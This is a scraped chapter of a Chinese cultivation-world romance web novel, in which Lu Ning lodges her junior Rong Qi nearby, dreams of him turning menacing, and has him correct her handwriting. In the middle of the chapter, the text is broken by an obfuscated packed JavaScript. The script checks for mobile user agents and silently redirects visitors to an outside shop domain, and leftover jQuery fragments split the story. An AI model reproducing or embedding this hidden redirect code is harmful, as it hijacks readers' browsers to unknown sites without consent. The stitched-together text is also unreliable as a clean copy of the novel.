文趣网 > 其他小说 > 男主他念念不忘 > 10. 第十章
    陆宁觉得容七是故意的。

    但她没有证据,只能无奈作罢,一瘸一拐地回了自己的院子。

    这一天过得惊心动魄的,整个人身心疲惫,在院子里扦插好花枝后,陆宁就洗洗睡了。

    “笃笃笃——”

    不知睡了多久,她被一阵规律的敲门声惊醒。

    雪峰除了她外,就只有一个活人。

    这人是谁不言而喻。

    陆宁坐起身撩开纱帐,抬手一挥,桌上烛火瞬时亮起。拢了拢些微敞开的衣襟,整理好后,扬声道:“进来。”

    容七推开门,缓步走进房中。

    随即,鼻尖嗅到一股淡淡的清香,和房间主人身上的味道一样。

    他略略蹙了蹙眉,又退了出来,站在门外未再上前。

    陆宁坐在床沿上,打了个哈欠,看了眼墙角的刻漏,已经过了子时。

    “这么晚了找我什么事?”

    容七说明来意:“师姐,我今晚能睡在这里吗?”

    陆宁一个激灵,瞬间睡意全无。她为了证明自己的清白特意将人送上山顶。

    结果倒好,人晚上自己送上门了。

    拿这个考验老干部?

    那还真是……看对人了。

    陆宁抬眼,借着朦胧的光影,细细打量起门外的少年。

    身穿一袭不符合他这个年纪的黑衣,皮肤却比身后沉积的雪还要白,容貌更是无可挑剔,俊美非常。

    明明不久前两人才刚见过,此刻她仍是被惊艳得恍了会儿神。

    好像也不是不可以……

    陆宁猛地晃了晃脑袋,她这是在想什么!脑子进水了吗?

    觊觎美色也得有个限度吧,虽说这是在古代,男女十六七岁成婚已是常态,但她内里可是个二十五岁的现代人,这个年纪的她真的下不去手。

    ……要是年长个七八岁就好了。

    似是看出她眼里的兴味之意,容七这才惊觉自己话里的歧义,脸色黑了一瞬,默了默,道:“我是说,我能住在半山腰吗?”

    原来是表述错了。

    这事搞得。

    陆宁轻咳一声掩饰自己的尴尬,善解人意道:“可是一个人住在山顶害怕?”

    正寻思用什么借口的容七顺势点了点头,附和道:“害怕。”

    嘴上说着害怕,脸上倒是一点端倪都瞧不出来。

    年纪轻轻竟然这么内敛的吗?

    陆宁随意摆了摆手,不甚在意道:“其他厢房都空着,你随便挑一间吧。”

    “多谢师姐。”容七道完谢,顺手关上房门,随后径直进了隔壁的房间。

    他猜得不错,只要离得足够近,身上的伤势就会有好转的迹象,连带着修为也在缓步提升。

    想必要不了多久,他的修为便会恢复。届时,他定要抛开她的丹田看看。

    他直觉里面的东西对他很是重要。

    陆宁尚不知自己引狼入室,等容七一走,她又躺回了床上。

    许是睡前受了刺激,再次入睡后,她竟然做了个梦。

    相同的地点,相同的事件。

    有人敲门,她让人进来。

    只是接下来的发展和之前大相径庭。

    青年版的容七顶着张魅惑众生的脸,嘴角噙着抹浅笑,缓步朝她走来,温声询问:“师姐,我今晚能睡在这里吗?”

    “师姐”两字说得暧昧无比,似是情人间的呢喃。陆宁被他蛊惑,直愣愣地点了点头,拍拍身下的床榻,无声邀请。

    “不若先来玩个游戏,”男人唇角笑意扩大,“如何?”

    “好啊。”还挺有情趣。

    陆宁搓着小手,一脸期待。

    男人一步步朝她走近,慢条斯理道:“别急,夜还长着呢,我们有的是时间。”

    救命,这也太会了。

    陆宁整个人已经飘飘然,满脸绯红地自觉躺好。

    不多时,朦胧烛光一暗,身前投下一片阴影。

    男人垂眸注视着她,神色温柔多情。

    就在陆宁以为接下来会发生什么限制级的画面时,就见他手中忽然多出一把匕首,在她身上来回比划,状似困惑道:“该从哪里下手好呢?”

    春梦变噩梦。

    陆宁直接被吓醒了。

    窗外,天光大亮。

    陆宁瘫在床上,双目无神地盯着帐顶,累觉不爱。这种梦竟然还能向惊悚向发展,她属实是没想到。

    ……难道因为她是牡丹缺乏经验,梦境后面续不上,所以自由发展了?

    有可能。

    毕竟人无法梦到自己认知外的东西。

    在床上缓了半刻钟,她这才不紧不慢地起身,稍作收拾后抱着一沓宣纸出了房门,打算在院中凉亭里抄书。

    容七正在院子里练剑。

    确切地说,是拿着一根不知道从哪里捡来的木棍比划剑法。

    见她出来,少年挽了个剑花收起木棍,低低道了句:“师姐早。”

    姿势倒是挺行云流水的,就是配上那根略显滑稽的木棍,整个动作看起来颇有些不伦不类。

    陆宁好笑道:“你如今也算玉阙宫弟子,可以去前山找管事要一份入宗弟子礼包,里面就有灵剑。”

    虽只是炼器堂弟子拿来练手的低阶法器,不过拿来练剑倒是足够。

    容七拿着木棍在手上转了几圈,随口道:“我不擅用剑。”

    陆宁正欲问他“那你擅长什么?”,不知怎地,脑海中忽然闪过昨晚那个梦境片段,于是硬生生将话咽了回去。

    万一他回答说擅长匕首,她今晚怕是又要做噩梦了。

    想到梦境中男子俊美无俦的面庞,陆宁抬眼,细细和眼前的少年比对。

    半晌,她得出结论——青年版容七无疑。

    这就奇了怪了。

    她从未见过青年版的容七,为什么会梦到他具体的容貌?

    这不科学。

    陆宁想不明白,也就没再纠结这个问题。都穿到修真界了,哪还有科学可言。

    “你识字吗?”她问道。

    容七不知她问这个作甚,只道:“读过几年书。”

    陆宁面上一喜,这可太好了。

    她不想欠人情,请其他师弟师妹帮忙订正错字,多少都得付点报酬。

    但是容七就不用了,就当抵消房费了。

    “你以后都可以住在半山腰,这里下山也近,来回方便。”陆宁大度道。

    容七勾唇:“多谢师姐。”

    “谢我就不必了。只要帮我一点小忙就行。你先练剑,我一会儿喊你。”

    半个时辰后。

    陆宁抄完一遍宫规,略略检查觉得无误后才将容七喊过来。

    “麻烦师弟帮我看一下这里面可有错字?”

    容七在她身旁的石凳上坐下,垂眼看向石桌上密密麻麻写满字的宣纸。

    随即抬眸,淡淡地扫了她一眼。

    此时无声胜有声。

    虽然他一个字都没说,但陆宁硬是从他的表情中读出了三分震惊、三分嫌弃以及四分怀疑人生。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788623|210275||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>……好丰富的微表情。

    陆宁挠了挠脸颊,昨晚不还挺情绪内敛的吗,怎么这会就全外露了。

    她心里生出几分后悔,早知道还不如找其他人呢,反正她的丑字整个玉阙宫人尽皆知,又何必自取其辱。

    “抱歉,辣到你眼睛了。我还是去找其……”

    话还没有说完,就见容七指着一处道:“这里少一横。”

    “哦。”陆宁连忙提笔加上。

    “这里多一点。”容七指着另一处道。

    陆宁放下笔,直接用手指一抹,将整个字抹掉,又重新写下正确的字。

    这法术名为“回溯”,可将物体回归到它原本的样貌。

    恢复其他有灵力的物件以她目前的实力或许还做不到,但将宣纸恢复原状还是很容易的。

    这是她前世为数不多自学的法术,没想到这会竟然派上了用场。

    容七倒是略略有些意外。

    便宜师姐修为不显,没想到竟会这么小众的法术,只是用在这种事情上,多少有些暴殄天物了。他没说什么,指着最后一处错误,“这两字顺序反了。”

    陆宁如法炮制,依言改好。

    她忽然想到什么,从储物镯中拿出那张花笺放到桌上,“你再帮我看下这两句诗里可有错字?”

    “玲珑骰子安红豆,入骨相思知不知。”容七低低念了一遍,眉梢微挑,“师姐果真学识渊博,连这种凡间诗词都有所涉猎。”

    陆宁:“……”

    这话说的,好像修真界都是文盲似的。

    “瞧不起谁呢!”陆宁觉得自己被侮辱到了,狠狠瞪了他一眼。

    正欲收起笺纸,就见容七不紧不慢地抬手,指着一处道:“这里少一笔。”

    “哪里?”陆宁抓着他的手指移开。

    见是繁体的“珑”字右下角少了一短横,已经没地方补了,无奈只能故技重施,将字抹去重新改好。

    不得不说,她的字丑得和原主不相上下,就这样融进去竟然没有一点违和感。

    就是糟蹋这花笺了。

    浅绿色笺纸上,两角各画着盛开的雪莲,离近些甚至还能闻到一股淡淡的清香。

    想来原主还是很有自知之明的。这封情书要是送出去,岑越对她的印象怕是会直接大打折扣。

    陆宁忽然想起她上高中那会儿,班上有个男同学给她写了封情书,内容她已经没印象了,只记得那字丑得出奇,她当时看完,说了这么一句话:“同学,好好练练字吧,不仅能给情书加分,高考也能加分哦。”

    她以为这事到此就结束了,谁知高考后没多久,她收到了一封感谢信,里面是笔锋遒劲的六个字——陆同学,谢谢你。

    陆同学当时很是欣慰,没想到自己随口之言竟有如此成效。那封感谢信至今还被她夹在同学录里留作珍藏。

    回忆完毕,陆宁再看纸上的字,突然有些不得劲。

    她从储物镯中拿出一张空白花笺,铺在桌上,将笔递给容七,恳求道:“容师弟,你帮我把这两句诗写一遍吧。”

    容七没有接笔,冷不丁道:“师姐可知这是什么诗?”

    “情诗啊。”陆宁不解,“怎么了?”

    “师姐写给别人的情诗,”容七忽地笑了,“我代笔,不合适吧?”

    陆宁磨了磨牙,“我自己收藏,不行吗?”

    “收藏我写的情诗,若教旁人见了,”容七意味深长道,“会误以为我倾慕师姐的。”

    陆宁:“……”

    真特么服了!